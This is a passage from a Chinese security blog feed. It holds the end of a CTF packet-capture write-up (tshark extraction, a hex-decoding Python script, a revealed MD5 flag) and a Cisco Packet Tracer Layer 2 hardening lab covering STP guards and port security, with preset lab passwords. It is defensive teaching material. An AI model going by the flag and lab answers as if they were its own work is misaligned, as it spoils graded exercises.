<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="m">011011010100010000110101010111110011000101110100</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>将二进制数据转换为ASCII，得到</p>
<p><a href="https://coding.tools/cn/binary-to-text"target="_blank" rel="noopener noreferrer">2进制到ASCII字符串在线转换工具</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mD5_1t
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193404437.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193404437.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>将 <code>mD5_1t</code> 进行md5加密，得到flag： <code>f0f1003afe4ae8ce4aa8e8487a8ab3b6</code> 。</p>
<p><a href="https://www.sojson.com/md5/"target="_blank" rel="noopener noreferrer">MD5加解密工具</a>

<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193406125.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228193406125.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<p>在Kali中使用tshark也可以提取数据，只需要将十六进制数据转换为字符即可。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">tshark -r out.pcap -T fields -e data &gt; data.txt
</span></span></code></pre></td></tr></table>
</div>
</div><p>Python脚本如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;data1.txt&#39;</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;data2.txt&#39;</span><span class="p">,</span><span class="s1">&#39;wb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">file</span><span class="o">.</span><span class="n">readlines</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">i</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="flag">flag：</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">flag<span class="o">{</span>f0f1003afe4ae8ce4aa8e8487a8ab3b6<span class="o">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>$$
\min (\text{Difficulty}<em>{\text{User}}) = \min \left( \sum</em>{i=1}^{n} (\text{Query}_i - \text{Answer}_i)^2 \right)
$$</p>
]]></content:encoded>
    </item>
    <item>
      <title>Packet Tracer - Layer 2 Security（第二层安全配置任务）</title>
      <link>https://yuexuan521.github.io/zh/posts/packet-tracer-layer-2-security%E7%AC%AC%E4%BA%8C%E5%B1%82%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%BB%BB%E5%8A%A1/</link>
      <pubDate>Thu, 23 Jan 2025 12:48:13 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/packet-tracer-layer-2-security%E7%AC%AC%E4%BA%8C%E5%B1%82%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%BB%BB%E5%8A%A1/</guid>
      <description>&lt;h2 id=&#34;packettracer---第二层安全配置任务&#34;&gt;PacketTracer - 第二层安全配置任务&lt;/h2&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212724150.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212724150.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;h3 id=&#34;目标&#34;&gt;目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;确保将中心交换机（3560型号）设置为根桥。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;保护生成树协议参数以防止对STP的操控攻击。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启用端口安全功能以防止CAM表溢出攻击。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="packettracer---第二层安全配置任务">PacketTracer - 第二层安全配置任务</h2>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212724150.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212724150.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="目标">目标</h3>
<ul>
<li>
<p>确保将中心交换机（3560型号）设置为根桥。</p>
</li>
<li>
<p>保护生成树协议参数以防止对STP的操控攻击。</p>
</li>
<li>
<p>启用端口安全功能以防止CAM表溢出攻击。</p>
</li>
</ul>
<h3 id="背景场景">背景/场景</h3>
<p>最近网络遭受了一系列攻击。因此，网络管理员已指派您负责配置第二层安全措施。</p>
<p>为了确保网络性能和安全性达到最优状态，管理员希望确定中心3560型号交换机作为根桥。为防止对生成树协议进行篡改攻击，管理员希望确保STP参数得到安全配置。针对CAM表溢出攻击的风险，网络管理员决定配置端口安全策略，限制每个交换机端口学习到的MAC地址数量。一旦学习到的MAC地址超过设定的限制，管理员希望建立机制自动关闭该端口。</p>
<p>所有交换机设备已经预先配置了以下信息：</p>
<ul>
<li>
<p>启用密码： <strong>ciscoenpa55</strong></p>
</li>
<li>
<p>控制台密码： <strong>ciscoconpa55</strong></p>
</li>
<li>
<p>SSH用户名及密码： <strong>SSHadmin / ciscosshpa55</strong></p>
</li>
</ul>
<h3 id="第一部分配置根桥">第一部分：配置根桥</h3>
<p><strong>步骤1：确定当前的根桥。</strong></p>
<p>从中心交换机（Central）发出 <code>show spanning-tree</code> 命令，以确定当前的根桥、查看正在使用的端口及其状态。</p>
<blockquote>
<p>Central#show spanning-tree</p>
</blockquote>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">VLAN0001</span>
</span></span><span class="line"><span class="cl">  <span class="n">Spanning</span> <span class="n">tree</span> <span class="n">enabled</span> <span class="n">protocol</span> <span class="n">ieee</span>
</span></span><span class="line"><span class="cl">  <span class="n">Root</span> <span class="n">ID</span>    <span class="n">Priority</span>    <span class="mf">32769</span>
</span></span><span class="line"><span class="cl">             <span class="n">Address</span>     <span class="mf">0009</span><span class="p">.</span><span class="py">7C61</span><span class="p">.</span><span class="py">9058</span>
</span></span><span class="line"><span class="cl">             <span class="n">Cost</span>        <span class="mf">4</span>
</span></span><span class="line"><span class="cl">             <span class="n">Port</span>        <span class="mf">25</span><span class="p">(</span><span class="n">GigabitEthernet0</span><span class="p">/</span><span class="mf">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">             <span class="n">Hello</span> <span class="n">Time</span>  <span class="mf">2</span> <span class="n">sec</span>  <span class="n">Max</span> <span class="n">Age</span> <span class="mf">20</span> <span class="n">sec</span>  <span class="n">Forward</span> <span class="n">Delay</span> <span class="mf">15</span> <span class="n">sec</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">Bridge</span> <span class="n">ID</span>  <span class="n">Priority</span>    <span class="mf">32769</span>  <span class="p">(</span><span class="n">priority</span> <span class="mf">32768</span> <span class="nb">sys-id</span><span class="n">-ext</span> <span class="mf">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">             <span class="n">Address</span>     <span class="n">00D0</span><span class="p">.</span><span class="py">D31C</span><span class="p">.</span><span class="py">634C</span>
</span></span><span class="line"><span class="cl">             <span class="n">Hello</span> <span class="n">Time</span>  <span class="mf">2</span> <span class="n">sec</span>  <span class="n">Max</span> <span class="n">Age</span> <span class="mf">20</span> <span class="n">sec</span>  <span class="n">Forward</span> <span class="n">Delay</span> <span class="mf">15</span> <span class="n">sec</span>
</span></span><span class="line"><span class="cl">             <span class="n">Aging</span> <span class="n">Time</span>  <span class="mf">20</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Interface</span>        <span class="n">Role</span> <span class="n">Sts</span> <span class="n">Cost</span>      <span class="n">Prio</span><span class="p">.</span><span class="py">Nbr</span> <span class="nb">Type
</span></span></span><span class="line"><span class="cl"><span class="p">----------------</span> <span class="p">----</span> <span class="p">---</span> <span class="p">---------</span> <span class="p">--------</span> <span class="p">--------------------------------</span>
</span></span><span class="line"><span class="cl"><span class="n">Gi0</span><span class="p">/</span><span class="mf">2</span>            <span class="n">Desg</span> <span class="n">FWD</span> <span class="mf">4</span>         <span class="mf">128.26</span>   <span class="n">P2p</span>
</span></span><span class="line"><span class="cl"><span class="n">Gi0</span><span class="p">/</span><span class="mf">1</span>            <span class="n">Root</span> <span class="n">FWD</span> <span class="mf">4</span>         <span class="mf">128.25</span>   <span class="n">P2p</span>
</span></span><span class="line"><span class="cl"><span class="n">Fa0</span><span class="p">/</span><span class="mf">1</span>            <span class="n">Desg</span> <span class="n">FWD</span> <span class="mf">19</span>        <span class="mf">128.1</span>    <span class="n">P2p</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>哪个交换机是当前的根桥？</p>
<p>基于当前的根桥，请绘制由此得出的生成树拓扑结构。</p>
<p><strong>步骤2：将Central设置为主根桥。</strong></p>
<p>使用命令 <code>spanning-tree vlan 1 root primary</code> ，将 <strong>Central</strong> 设置为根桥。</p>
<blockquote>
<p>Central(config)#spanning-tree vlan 1 root primary</p>
</blockquote>
<p><strong>步骤3：将SW-1设置为备用根桥。</strong></p>
<p>使用命令 <code>spanning-tree vlan 1 root secondary</code> ，将 <strong>SW-1</strong> 设置为备用根桥。</p>
<blockquote>
<p>SW-1(config)#spanning-tree vlan 1 root secondary</p>
</blockquote>
<p><strong>步骤4：验证生成树配置。</strong></p>
<p>发出 <code>show spanning-tree</code> 命令来验证Central已成为根桥。</p>
<p>在Central#提示符下执行了该命令后显示如下信息：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">VLAN0001</span>
</span></span><span class="line"><span class="cl">   <span class="n">Spanning</span> <span class="n">tree</span> <span class="n">enabled</span> <span class="n">protocol</span> <span class="n">ieee</span>
</span></span><span class="line"><span class="cl">   <span class="n">Root</span> <span class="n">ID</span>  <span class="n">Priority</span>      <span class="mf">24577</span>
</span></span><span class="line"><span class="cl">            <span class="n">Address</span>       <span class="n">00D0</span><span class="p">.</span><span class="py">D31C</span><span class="p">.</span><span class="py">634C</span>
</span></span><span class="line"><span class="cl">          <span class="p">--&gt;&gt;</span>  <span class="n">This</span> <span class="n">bridge</span> <span class="n">is</span> <span class="n">the</span> <span class="n">root</span>  <span class="p">&lt;&lt;--</span>
</span></span><span class="line"><span class="cl">            <span class="n">Hello</span> <span class="n">Time</span>  <span class="mf">2</span> <span class="n">sec</span>  <span class="n">Max</span> <span class="n">Age</span>  <span class="mf">20</span> <span class="n">sec</span>   <span class="n">Forward</span> <span class="n">Delay</span>  <span class="mf">15</span> <span class="n">sec</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>根据上述信息，哪个交换机是当前的根桥？</p>
<p>基于新的根桥设置，请绘制由此得出的生成树拓扑结构。</p>
<h3 id="第二部分防止stp攻击">第二部分：防止STP攻击</h3>
<p><strong>步骤1：在所有接入端口上启用PortFast。</strong></p>
<p>PortFast应在连接至单个工作站或服务器的接入端口上配置，以使它们更快地进入活动状态。在SW-A和SW-B的相连接入端口上使用 <code>spanning-tree portfast</code> 命令来启用 <strong>PortFast</strong> 。</p>
<blockquote>
<p>SW-A(config)#int range f0/1-4
SW-A(config-if-range)#spanning-tree portfast</p>
</blockquote>
<blockquote>
<p>SW-B(config)#int range f0/1-4
SW-B(config-if-range)#spanning-tree portfast</p>
</blockquote>
<p><strong>步骤2：在所有接入端口上启用BPDU防护。</strong></p>
<p>BPDU guard是一项功能，可以有助于防止恶意交换机和在接入端口上的欺骗行为。在SW-A和SW-B的接入端口上启用BPDU防护。</p>
<p>注解：为了防止STP报文（BPDU）操纵攻击，在接口配置模式下可以对每个单独端口使用命令 <code>spanning-tree bpduguard enable</code> 来启用BPDU防护；或者在全局配置模式下使用命令 <code>spanning-tree portfast bpduguard default</code> 来默认为所有启用PortFast的端口启用BPDU防护。针对本活动评分目的，请使用 <code>spanning-tree bpduguard enable</code> 命令。</p>
<blockquote>
<p>SW-A(config)#int range f0/1-4
SW-A(config-if-range)#spanning-tree bpduguard enable</p>
</blockquote>
<blockquote>
<p>SW-B(config)#int range f0/1-4
SW-B(config-if-range)#spanning-tree bpduguard enable</p>
</blockquote>
<p><strong>步骤3：启用根保护。</strong></p>
<p>根保护可以在非根端口的所有交换机端口上启用，最好部署在连接到其他非根交换机的端口上。使用 <code>show spanning-tree</code> 命令确定每个交换机上根端口的位置。</p>
<p>在SW-1上，在端口F0/23和F0/24上启用根保护。同样，在SW-2上，在端口F0/23和F0/24上也启用根保护。</p>
<blockquote>
<p>SW-1(config)#int range f0/23-24
SW-1(config-if-range)#spanning-tree guard root</p>
</blockquote>
<blockquote>
<p>SW-2(config)#int range f0/23-24
SW-2(config-if-range)#spanning-tree guard root</p>
</blockquote>
<h3 id="第三部分配置端口安全并禁用未使用端口">第三部分：配置端口安全并禁用未使用端口</h3>
<p><strong>步骤1：在连接到主机设备的所有端口上配置基本端口安全。</strong></p>
<p>此操作应在SW-A和SW-B的所有接入端口上执行。设置允许学习的MAC地址最大数量为 <strong>2</strong> ，允许动态学习MAC地址，并将违规处理方式设为 <strong>shutdown</strong> （关闭）。</p>
<p>注解：只有当交换机端口配置为接入模式时，才能启用端口安全功能。</p>
<blockquote>
<p>SW-A(config)#interface range f0/1 - 22
SW-A(config-if-range)#switchport mode access
SW-A(config-if-range)#switchport port-security
SW-A(config-if-range)#switchport port-security maximum 2
SW-A(config-if-range)#switchport port-security violation shutdown
SW-A(config-if-range)#switchport port-security mac-address sticky</p>
</blockquote>
<blockquote>
<p>SW-B(config)#interface range f0/1-22
SW-B(config-if-range)#switchport mode access
SW-B(config-if-range)#switchport port-security max
SW-B(config-if-range)#switchport port-security maximum 2
SW-B(config-if-range)#switchport port-security violation shutdown
SW-B(config-if-range)#switchport port-security mac-address sticky</p>
</blockquote>
<p>为什么与其它交换机设备相连的端口不启用端口安全？</p>
<p><strong>步骤2：验证端口安全配置。</strong></p>
<p>a. 在SW-A上，输入命令 <code>show port-security interface f0/1</code> 来确认已成功配置了端口安全。</p>
<blockquote>
<p>SW-A#show port-security int f0/1
<mark>Port Security : Enabled</mark>
Port Status : Secure-up
<mark>Violation Mode : Shutdown</mark>
Aging Time : 0 mins
Aging Type : Absolute
SecureStatic Address Aging : Disabled
<mark>Maximum MAC Addresses : 2</mark>
Total MAC Addresses : 0
Configured MAC Addresses : 0
<mark>Sticky MAC Addresses : 0</mark>
<mark>Last Source Address:Vlan : 0000.0000.0000:0</mark>
Security Violation Count : 0</p>
</blockquote>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">SW-A</span><span class="c"># show port-security interface f0/1</span>
</span></span><span class="line"><span class="cl"><span class="n">端口安全</span>              <span class="err">:</span> <span class="n">已启用</span>
</span></span><span class="line"><span class="cl"><span class="n">端口状态</span>                <span class="err">:</span> <span class="n">安全且已启动</span>
</span></span><span class="line"><span class="cl"><span class="n">违规模式</span>             <span class="err">:</span> <span class="n">关闭端口</span>
</span></span><span class="line"><span class="cl"><span class="n">老化时间</span>                 <span class="err">:</span> <span class="n">0分钟</span>
</span></span><span class="line"><span class="cl"><span class="n">老化类型</span>                 <span class="err">:</span> <span class="n">绝对时间</span>
</span></span><span class="line"><span class="cl"><span class="n">静态安全MAC地址老化</span><span class="err">:</span> <span class="n">禁用</span>
</span></span><span class="line"><span class="cl"><span class="n">最大MAC地址数</span>      <span class="err">:</span> <span class="mf">2</span>
</span></span><span class="line"><span class="cl"><span class="n">总MAC地址数</span>        <span class="err">:</span> <span class="mf">0</span>
</span></span><span class="line"><span class="cl"><span class="n">已配置MAC地址数</span>   <span class="err">:</span> <span class="mf">0</span>
</span></span><span class="line"><span class="cl"><span class="n">粘性MAC地址数</span>       <span class="err">:</span> <span class="mf">0</span>
</span></span><span class="line"><span class="cl"><span class="n">最近源地址</span><span class="err">:</span><span class="n">VLAN</span>   <span class="err">:</span> <span class="mf">0000.0000</span><span class="p">.</span><span class="mf">0000</span><span class="err">:</span><span class="mf">0</span>
</span></span><span class="line"><span class="cl"><span class="n">安全违规计数</span>         <span class="err">:</span> <span class="mf">0</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>b. 从C1向C2发送Ping请求，然后再次输入 <code>show port-security interface f0/1</code> 命令，以验证交换机是否已学会C1的MAC地址。

<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212726209.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212726209.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212728180.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228212728180.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>步骤3：禁用未使用的端口。</strong></p>
<p>禁用当前所有未使用的端口。</p>
<blockquote>
<p>SW-A(config)#int range f0/5-22
SW-A(config-if-range)#shutdown</p>
</blockquote>
<blockquote>
<p>SW-B(config)#int range f0/5-22
SW-B(config-if-range)#shutdown</p>
</blockquote>
<p><strong>步骤4：检查结果。</strong></p>
<p>您的完成度应为100%。点击“检查结果”查看反馈信息以及所需组件完成情况的验证。</p>
<h3 id="实验脚本">实验脚本：</h3>
<p><strong>Central:</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">!</span> <span class="n">使Central成为Vlan1的根桥</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">vlan</span> <span class="mf">1</span> <span class="n">root</span> <span class="n">primary</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>SW-1:</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">!</span> <span class="n">使SW</span><span class="p">-</span><span class="n">1成为Vlan1的次根桥</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">vlan</span> <span class="mf">1</span> <span class="n">root</span> <span class="n">secondary</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">进入f0</span><span class="p">/</span><span class="mf">23</span><span class="n">-f0</span><span class="p">/</span><span class="n">24端口</span>
</span></span><span class="line"><span class="cl"><span class="n">interface</span> <span class="n">range</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">23</span> <span class="p">-</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">24</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">启用STP根防护功能</span><span class="err">，</span><span class="n">在此端口不接受拥有更优BID的BPDU报文</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">guard</span> <span class="n">root</span> 
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>SW-2:</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">!</span> <span class="n">进入f0</span><span class="p">/</span><span class="mf">23</span><span class="n">-f0</span><span class="p">/</span><span class="n">24端口</span>
</span></span><span class="line"><span class="cl"><span class="n">interface</span> <span class="n">range</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">23</span> <span class="p">-</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">24</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">启用STP根防护功能</span><span class="err">，</span><span class="n">在此端口不接受拥有更优BID的BPDU报文</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">guard</span> <span class="n">root</span> 
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>SW-A:</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">!</span> <span class="n">选择接入的端口</span><span class="err">，</span><span class="n">F0</span><span class="p">/</span><span class="mf">1</span><span class="n">-F0</span><span class="p">/</span><span class="mf">4</span>
</span></span><span class="line"><span class="cl"><span class="n">interface</span> <span class="n">range</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">1</span> <span class="p">-</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">4</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">让F0</span><span class="p">/</span><span class="mf">1</span><span class="n">-F0</span><span class="p">/</span><span class="n">4端口开启portfast</span><span class="err">（</span><span class="n">不参与生成树</span><span class="err">）</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">portfast</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">为他们启用BPDU防护功能</span><span class="err">，</span><span class="n">在此端口不接受BPDU</span><span class="err">；</span><span class="n">收到BPDU</span><span class="err">，</span><span class="n">端口禁用</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">bpduguard</span> <span class="n">enable</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">开启access模式</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="n">mode</span> <span class="n">access</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">开启端口安全</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">设置最大Mac学习数为2</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> <span class="n">maximum</span> <span class="mf">2</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">设置学习到的Mac地址将被保存</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> <span class="nb">mac-address</span> <span class="n">sticky</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">设置超过措施</span><span class="err">：</span><span class="n">关闭端口</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> <span class="n">violation</span> <span class="n">shutdown</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">进入不使用的端口</span>
</span></span><span class="line"><span class="cl"><span class="n">interface</span> <span class="n">range</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">5</span> <span class="p">-</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">22</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">关闭</span>
</span></span><span class="line"><span class="cl"><span class="n">shutdown</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>SW-B:</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">!</span> <span class="n">选择接入的端口</span><span class="err">，</span><span class="n">F0</span><span class="p">/</span><span class="mf">1</span><span class="n">-F0</span><span class="p">/</span><span class="mf">4</span>
</span></span><span class="line"><span class="cl"><span class="n">interface</span> <span class="n">range</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">1</span> <span class="p">-</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">4</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">让F0</span><span class="p">/</span><span class="mf">1</span><span class="n">-F0</span><span class="p">/</span><span class="n">4端口开启portfast</span><span class="err">（</span><span class="n">不参与生成树</span><span class="err">）</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">portfast</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">为他们开启BPDU</span>
</span></span><span class="line"><span class="cl"><span class="nb">spanning-tree</span> <span class="n">bpduguard</span> <span class="n">enable</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">开启access模式</span>
